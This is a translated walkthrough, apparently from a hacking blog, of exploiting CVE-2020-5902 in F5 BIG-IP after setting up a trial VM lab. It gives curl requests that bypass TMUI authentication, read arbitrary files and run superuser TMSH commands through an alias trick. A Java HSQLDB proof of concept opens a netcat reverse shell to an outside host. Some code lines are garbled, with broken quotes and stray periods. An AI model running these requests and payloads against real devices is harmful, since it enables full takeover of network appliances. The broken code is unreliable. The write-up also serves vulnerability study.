Hacking F5 network devices through BIG-IP vulnerabilities

Hacking F5 network devices through BIG-IP vulnerabilities

In July 2020, a vulnerability found in the F5 product line, particularly in BIG-IP, made a lot of noise. This is an application delivery controller, which is used in the largest companies like banks and mobile operators. Vulnerabilities were assigned the highest level of threat because it allows to gain full control over the target without any privileges.

In BIG-IP there are different modules that run under TMOS operating system. One of them, Local Traffic Manager (LTM), handles application traffic, secures the network infrastructure and provides local load balancing. LTM can be flexibly configured also using the TMUI (Traffic Management User Interface). This is where the vulnerability was found.



More precisely, it was found Mikhail Klyuchnikov from Positive Technologies. This bug exists due to incorrect URI normalization when processing requests. An intruder can bypass authentication in Traffic Management User Interface and use system functions that are intended for administrator only. As a result, the attacker can execute arbitrary commands on the target system from a superuser, which means a complete compromise of the server.

Bug got the number CVE-2020-5902 and 10 out of 10 CVSS criticality points. Vulnerability is present in BIG-IP versions from 15.0.0 to 15.1.0.3, from 14.1.0 to 14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 and 11.6.1-11.6.5.1.

Test booth

.
Since the product is commercial, there will be no simple docker-container this time. The easiest way to raise your booth is to download a 30-day trial version BIG-IP VE (Virtual Edition). This requires an account which can be created at F5. Once confirmed, you can go to the download section.



We need the latest vulnerable version, this is 15.1.0.3. BIG-IP is distributed in several versions, we are interested in virtual machine image in OVA format. Before downloading, you will be offered to select a convenient mirror.

.

.

BIG-IP virtual machine boot page in OVA format

.
You can also try to use my link to download the image. I can’t tell you how long it will live, but it still works fine.

After that we will import the downloaded image into our virtualization program. I will use VMware but VirtualBox will also do it perfectly.

After a successful import we load the virtual box. After a while we see a prompt for authorization.

.

.

Authorization in BIG-IP virtual machine

.
By default, the password for the superuser is default (you will be immediately offered to change it). You can now see the IP address of the virtual machine.

.

IP virtual machine address BIG-IP

Open a browser and go to that IP. We see the form of authorization of the Traffic Management User Interface.

.

Authorization form BIG-IP Configuration Utility

The booth is ready.

Vulnerability Details

.
Let’s go back to the console. Let’s see what kind of web server is listening to port 443.

netstat -lnpe | grep 443

.

Watch which service listens on port 443 in BIG-IP

.
This is a normal httpd daemon, but it is obviously just used as a frontend to proxy requests somewhere further. Let’s look in the configuration files for ProxyPass directives.

grep -iR ProxyPass /etc/httpd

.

Search for a proxy directive in httpd configs

.
There are a lot of interesting things in /etc/httpd/conf.d/proxy_ajp.conf.

/etc/httpd/conf.d/proxy_ajp.conf

...
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5.
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5.
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
...

Both the name and content of the file suggest that requests are forwarded to the Tomcat web server via the protocol AJP.

.

8009th port is the AJP protocol of the Apache Tomcat server

.
But that is not the problem now. We need to look at how the URI is transmitted to Tomcat. Here, we should refer to the large study Orange Cai about path normalization in various applications, which he presented at Black Hat USA 2018 and DEF CON 26 (PDF). There is a section on Tomcat where the /...;/ construct is used to exit the directory, bypass some rules and access files with important information. This is possible because the /...;/ construct is treated by the web server as a folder name, and Tomcat interprets it as a relative path up the tree to the parent directory.

To see if this bug works in our case, let’s try to read some file which is normally not accessible. A list of such files can be found, for example in the TMUI config – /usr/local/wwww/tmui/WEB-INF/web.xml.

/usr/local/wwww/tmui/WEB-INF/web.xml

<servlet-mapping>
    <servlet-name>org.apache.jsp.dashboard.viewset_jsp</servlet-name>
    <url-pattern>/dashboard/viewset.jsp</url-pattern>
</servlet-mapping> 

Let’s try to view it with a simple request.

curl -k "https://192.168.31.140/tmui/dashboard/viewset.jsp" -is 

In reply we get a redirect to the authorization page. Now we do it with the /...;/ construct.

curl -k "https://192.168.31.140/tmui/login.jsp/...;/dashboard/viewset.jsp" -is 

The viewset.jsp script runs successfully and the server returns the result.

.

Clear login and view unavailable pages in F5 BIG-IP

.
Now we can read any page and execute servlets that do not check the user session inside us.

Let’s see what we can dig up in the TMUI maze. The most interesting things are in /usr/local/wwww/tmui/WEB-INF/. Here you will also find the servlets themselves, in a compiled form. Therefore I need JD-GUI. To make things easier, I suggest simply archiving the /usr/local/wwww/tmui/WEB-INF/ directory in ZIP format and opening it in JD-GUI.

.

Decompilation of BIG-IP classes in JD-GUI

.
And the list of endpoints, as we have already found out, can be found in the file /usr/local/www/tmui/WEB-INF/web.xml. There are a lot of them, so here are some of the most interesting ones that were found after the public release of the vulnerability.

The first is /tmui/locallb/workspace/fileRead.jsp.

/usr/local/www/tmui/WEB-INF/web.xml

...
<servlet>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
    <servlet-class>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
    <url-pattern>/tmui/locallb/workspace/fileRead.jsp</url-pattern>
</servlet-mapping>
... 

WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/fileRead_jsp.java

01: package WEB-INF.classes.org.apache.jsp.tmui.locallb.workspace;
...
26: public final class fileRead_jsp extends HttpJspBase implements JspSourceDependent {
...
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77: String fileName = WebUtils.getProperty(request, "fileName");
78: try {
79: JSONObject resultObject = WorkspaceUtils.readFile(fileName);
80: out.print(resultObject.toString()); 

This servlet allows you to read arbitrary files if you pass in the parameter fileName. We try to read the canonical /etc/passwd.

curl -k "https://192.168.31.140/tmui/login.jsp/...;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" -is 

Success, the server returns the content of the file.

.

Reading arbitrary files in BIG-IP

.
Of the interesting files that you can read, it is worth noting:

  • /etc/hosts – here you can find the IP addresses of the BIG-IP infrastructure;
  • /config/bigip.conf – here are the BIG-IP configuration variables;
  • /config/bigip.license – here you can get information about the current BIG-IP license.

The list can be continued – I’m sure you know a couple of dozen more tempting files that are just waiting to be read. To make things even easier, the following interesting servlet comes to help: /tmui/locallb/workspace/directoryList.jsp.

/usr/local/www/tmui/WEB-INF/web.xml

...
<servlet>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
    <servlet-class>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
    <url-pattern>/tmui/locallb/workspace/directoryList.jsp</url-pattern>
</servlet-mapping>
... 

At the input it takes the parameter directoryPath, and at the output, as you guessed, it outputs a listing of the specified directory.

WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/directoryList_jsp.java

26: public final class directoryList_jsp extends HttpJspBase implements JspSourceDependent {.
...
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77: String directoryPath = WebUtils.getProperty(request, "directoryPath");
78: try {
79: JSONObject resultObject = WorkspaceUtils.listDirectory(directoryPath);
80: out.print(resultObject);

 

curl -k "https://192.168.31.140/tmui/login.jsp/...;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/tmui/WEB-INF/lib/" -s

.

.
And the content of directories is printed recursively.

curl -k "https://192.168.31.140/tmui/login.jsp/...;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/error/" -s

.

Directories are read recursively

.
But if the script gets files or folders that the current user can’t read, the server will return 500 Internal Server Error.

curl -k "https://192.168.31.140/tmui/login.jsp/...;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/etc/httpd" -s

.

Error reading the directory via directoryList.jsp if the current user has insufficient rights

.
As you have noticed, all these methods of reading files and directories are called from this class:

com.f5.tmui.locallb.handler.workspace.WorkspaceUtils 

And if the behavior of WorkspaceUtils.listDirectory and WorkspaceUtils.readFile was understandable, then in the next servlet we will have to look into this class to get a better understanding of how it works. The WorkspaceUtils class is located in a .jar file along this path:

/usr/local/www/tmui/WEB-INF/lib/tmui.jar 

Decompile it with the same JD-GUI if you haven’t already done so.

Now to the most interesting servlet, /tmui/locallb/workspace/tmshCmd.jsp.

/usr/local/www/tmui/WEB-INF/web.xml

<servlet>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
    <servlet-class>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
    <url-pattern>/tmui/locallb/workspace/tmshCmd.jsp</url-pattern>
</servlet-mapping> 

WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/tmshCmd_jsp.java

28: public final class tmshCmd_jsp extends HttpJspBase implements JspSourceDependent {.
...
63: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
81: String cmd = WebUtils.getProperty(request, "command");
82: if (cmd == null || cmd.length() == 0) {
83: logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed"));
84: } else {
85: JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd);
86: tmshResult = resultObject.toString(); 

Here, the command parameter is accepted as input and then passed to the WorkspaceUtils.runTmshCommand method. Since we have decompiled this class, we will see what runTmshCommand does.

WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java

01: package com.f5.tmui.locallb.handler.workspace;
...
31: public class WorkspaceUtils {
...
46: public static JSONObject runTmshCommand(String command) {
...
51: String operation = command.split(" ")[0];
...
53: try {
54: String[] args = { command };
55: Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);
56: output = result.getOutput();
57: error = result.getError(); 

This parses the string we passed to command, and then calls Syscall.callElevated. As you can see from the name, this method calls Syscall.TMSH with elevated privileges.

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java

13: import com.f5.mcp.schema.ltm.ShellCommandT;
...
78: public static final int TMSH = ShellCommandT.SC_TMSH.intValue(); 

The class com.f5.mcp.schema.ltm.ShellCommandT is in the file f5.rest.mcp.schema.jar. We decompile and look into it.

usr/share/java/rest/libs/f5.rest.mcp.schema.jar/com/f5/mcp/schema/ltm/ShellCommandT.java

01: package com.f5.mcp.schema.ltm;
...
05: public class ShellCommandT extends SchemaEnum {
...
70: public static final ShellCommandT SC_TMSH = new ShellCommandT("SC_TMSH", 32L);
...
94: protected ShellCommandT(String tokenName, long tokenValue) {
95: super("shell_command_t", tokenName, tokenValue);
96: } 

TMSH (Traffic Management SHell) is a bash-like utility for BIG-IP administration. It can automate commands and processes, create your own commands or command sets, execute custom scripts on the TCL, use different scripts of server behavior, up to reboot and shutdown. Very interesting features, isn’t it? And considering that all this is done with superuser privileges, this servlet becomes a tidbit when exploiting a vulnerability.

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java

162: public static Result callElevated(int command, String[] args) throws CallException {...
163: return call(command, args, true);
164: }
...
186: private static Result call(int command, String[] args, boolean elevated) throws CallException {
...
203: Connection c = null;
204: try {
...
206: c = ConnectionManager.instance().getConnection();
...
209: c.setUser(UsernameHolder.getUser().getUsername(), (!elevated && !UsernameHolder.isElevated()), false);
210: ObjectManager om = new ObjectManager((SchemaStructured)LtmModule.ShellCall, c);
211: DataObject query = om.newObject();
212: query.put((SchemaAttribute)ShellCall.COMMAND, command);
213: query.put((SchemaAttribute)ShellCall.ARGS, parameters);
214: query.put((SchemaAttribute)ShellCall.USER, UsernameHolder.getUser().getUsername());
215: DataObject[] rs = om.queryStats(query);
216: if (rs != null && rs.length > 0)
217: return new Result(rs[0].getInt((SchemaAttribute)ShellCall.RETURN_CODE), rs[0].getString((SchemaAttribute)ShellCall.RESULTS), rs[0].getString((SchemaAttribute)ShellCall.ERRORS)); 

Let’s try to display a list of BIG-IP administrators. This is done using the command tmsh list auth user admin.

BIG-IP administrator list view via TMSH

.
Now we will do the same, only through a vulnerability.

curl -k "https://192.168.31.140/tmui/login.jsp/...;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin" -s
Executing TMSH commands through a F5 vulnerability in BIG-IP

.
But that’s not all! If you go a little deeper into the TMSH documentation, you will find an interesting bash command in the util module.

Command Link of module util

.
This command does exactly what you expect it to do – calls the bash in the right context. It has all the same flags as a normal bash.

The bash command manual page in TMSH

.
Any command from the util module can be invoked either with run or directly from the command line.

    can or directly from the command line.

  • run /util bash -c id
  • bash -c id
Separate options for executing commands in bash via TMSH

.
However, if you try to execute any of the options through a vulnerability, the server will return an error Rejected Tmsh Command.

curl -k "https://192.168.31.140/tmui/login.jsp/...;/tmui/locallb/workspace/tmshCmd.jsp?command=bash+-c+id" -s

.

Trying to call an arbitrary command through a vulnerability in BIG-IP

.
This is because the tmshCmd_jsp servlet performs several checks before executing the TMSH command.

WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java

52: if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list")). { 

The ShellCommandValidator.checkForBadShellCharacters method checks for banned characters in the string. The firing list was hit:

& ; `` '. \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r. 

WEB-INF/lib/tmui.jar/com/f5/form/ShellCommandValidator.java

24: public static boolean checkForBadShellCharacters(String value) {
25: char[] cArray = value.toCharArray();
26: for (int i = 0; i < cArray.length; i++) {
27: char c = cArray[i];
28: if (c == '&' || c == ';' || c == '\' || c == '\\' || c == '' || c == '|' || c == '*' || c == '? ' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r')
29: return true; 
30: } 
31: return false;
32: } 

But this is not the main problem. What really reduces the scope is the second part of the condition – the check of the operation being performed.

operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify") 

As you can see, only four TMSH commands are possible: create, delete, list, and modify. And here, the aliases come to help. Like in bash, you can create alias for a command in TMSH so that you don’t have to type it every time. The module cli alias is responsible for this. Aliases are of two types, shared and private.
They differ in the visibility area – the former is available within the whole system, the latter is limited to the current user. You can view the list of aliases with list, delete with delete, and create a new one with create.

.

Shared aliases in TMSH

.
I think you already know where I’m going with this. You need to create an alias for bash, which is the name of any of the four allowed operations. Only advice is to make the private scope and remove the alias as soon as the necessary command is executed, so as not to interfere with normal system operation. So, the plan of action is as follows.

With the command create cli alias private modify command bash we create an alias in the visibility area of the user named modify, which will call the command bash.

curl -k "https://192.168.31.140/tmui/login.jsp/...;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+modify+command+bash" -s 

Now modify -c id will execute the necessary command. In my case it is id.

curl -k "https://192.168.31.140/tmui/login.jsp/...;/tmui/locallb/workspace/tmshCmd.jsp?command=modify+-c+id" -s 

Then delete cli alias private modify – remove the created alias to avoid problems.

curl -k "https://192.168.31.140/tmui/login.jsp/...;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+modify" -s

.

Successful exploitation of F5 BIG-IP vulnerability. Execute arbitrary commands with super user rights

.
This sequence is easy to automate. You can easily find ready-made solutions in the spaces GitHub. There is even ready module for Metasploit.

By the way, this RCE method was found later. Michael in his report offers a more interesting method to execute commands – via the database HyperSQL. Let’s have a look at how this is done.

RCE via HyperSQL

.
BIG-IP uses a HyperSQL database. The queries to the servlet that works with it httpd are proxied by the URI /hsqldb.

/etc/httpd/conf.d/proxy_ajp.conf

ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5. 

Of course, this address is only available after authorization, but you already know how to get around it.

curl -k "https://192.168.31.140/tmui/login.jsp/...;/hsqldb/" -s

.

Authorization bypass for access to HSQLDB

.
HyperSQL allows you to work with the database via the HTTP(S) protocol. Connection described in documentation. By default, the user SA and a blank password are used.

Now let’s throw in a PoC that will make some simple database queries. The first thing to do is to download the correct HSQLDB library (ZIP). Then let’s write a line in the hosts

192.168.31.140 localhost.localdomain 

Of course, IP should be your virtualka! This is to avoid messing with SSL certificates in Java. Next, as the URL for the connection to the database, we specify the address with the authorization bypass.

/hsqldb-poc-rce/src/com/f5rce/Main.java

01: package com.f5rce;
02: 
03: import java.sql.*;
04: import java.lang.*;
05: import java.util.Properties;
06: 
07: public class Main {
08: 
09: public static void main(String[] args) throws Exception {.
10: Class.forName("org.hsqldb.jdbcDriver");

11: String connectionURL = "jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3b/hsqldb/"; 

Now user name and password.

/hsqldb-poc-rce/src/com/f5rce/Main.java

12: Properties props = new Properties();
13: props.setProperty("user", "SA");
14: props.setProperty("password","); 

Connect to the database.

/hsqldb-poc-rce/src/com/f5rce/Main.java

15: try {
16: Connection c = DriverManager.getConnection(connectionURL, props);
17: Statement stmt = null;
18: ResultSet result = null; 

Now we make a simple request

SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS 

/hsqldb-poc-rce/src/com/f5rce/Main.java

19: stmt = c.createStatement();
20: result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS"); 

We get the result and output it to the console.

/hsqldb-poc-rce/src/com/f5rce/Main.java

21: while (result.next()) {
22: System.out.println("Got result: " + result.getString(1));
23: }
24: result.close();
25: stmt.close();
26: } catch (SQLException e) {
27: e.printStackTrace();
28: }

.

Running a query to a HyperSQL database via BIG-IP authorization traversal

.
If you look carefully at the database documentation, you will find a curious function CALL, which allows you to call external Java functions.

First, let’s check classpath, the paths from which the libraries are loaded:

CALL "java.lang.System.getProperty"('java.class.path') 

/hsqldb-poc-rce/src/com/f5rce/Main.java

20: result = stmt.executeQuery("CALL \"java.lang.System.getProperty\"('java.class.path')");
Get classpath via HSQLDB in BIG-IP

.
Similar ways Tomcat uses. This is good since the list of potentially dangerous methods is quite extensive. Among this variety you should find a method with the modifier static, i.e. one that can be called without creating a class object. Michael found a suitable one:

com.f5.view.web.pagedefinition.shuffler.scripting#setRequestContext 

It is in the /usr/local/wwww/tmui/WEB-INF/classes/tmui.jar file that we already decompiled.

WEB-INF/lib/tmui.jar/com/f5/view/web/pagedefinition/shuffler/Scripting.java

01: package com.f5.view.web.pagedefinition.shuffler;
...
12: public class Scripting {
13: static {
14: Properties props = new Properties();
15: System.setProperty("java.ext.dirs", "/usr/local/www/tmui/WEB-INF/lib/");
16: System.setProperty("java.class.path", System.getProperty("java.class.path") + ":/usr/local/wwww/tmui/WEB-INF/classes");
...
45: public static void setRequestContext(String object, String screen) {
46: PyObject current = getInterpreter().eval(object + "__" + screen + "()");
47: currentObject.set(current);
48: } 

This method executes Jython code and returns an object of type org.python.core.PyObject. Jython is a Java implementation of the Python language, so you need to use its constructs. We will execute the code with Runtime.getRuntime().exec(). For our convenience, BIG-IP defaults on netcat with -e flag support. We do a backlink through it.

/hsqldb-poc-rce/src/com/f5rce/Main.java

20: result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.scripting.setRequestContext" +
21: "\"('Runtime.getRuntime().exec(\"nc 192.168.31.12 1337 -e /bin/bash\")#', '#')");

.

BIG-IP successful operation. Remote command execution via HSQLDB

.

Exclusion

.

This vulnerability once again proves that even such a minor problem as incorrect path normalization leads to serious consequences. Knowledge of application infrastructure and capabilities of its tools allowed to take full control over BIG-IP machine. And I think there is no point in explaining what problems a compromised system, through which all network traffic goes, can cause.

After getting the details of the vulnerability, F5 developers suggested some temporary solutions before the full patch was released. Unfortunately, some of them proved to be ineffective and do not allow to protect themselves against malicious users. Therefore it is best to update to the version of the application where the problem is completely fixed.

Source.



WARNING! All links in the articles may lead to malicious sites or contain viruses. Follow them at your own risk. Those who purposely visit the article know what they are doing. Do not click on everything thoughtlessly.


16 Views

3 1 vote
Article Rating
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments


Do NOT follow this link or you will be banned from the site!
0
Would love your thoughts, please comment.x
()
x

Spelling error report

The following text will be sent to our editors: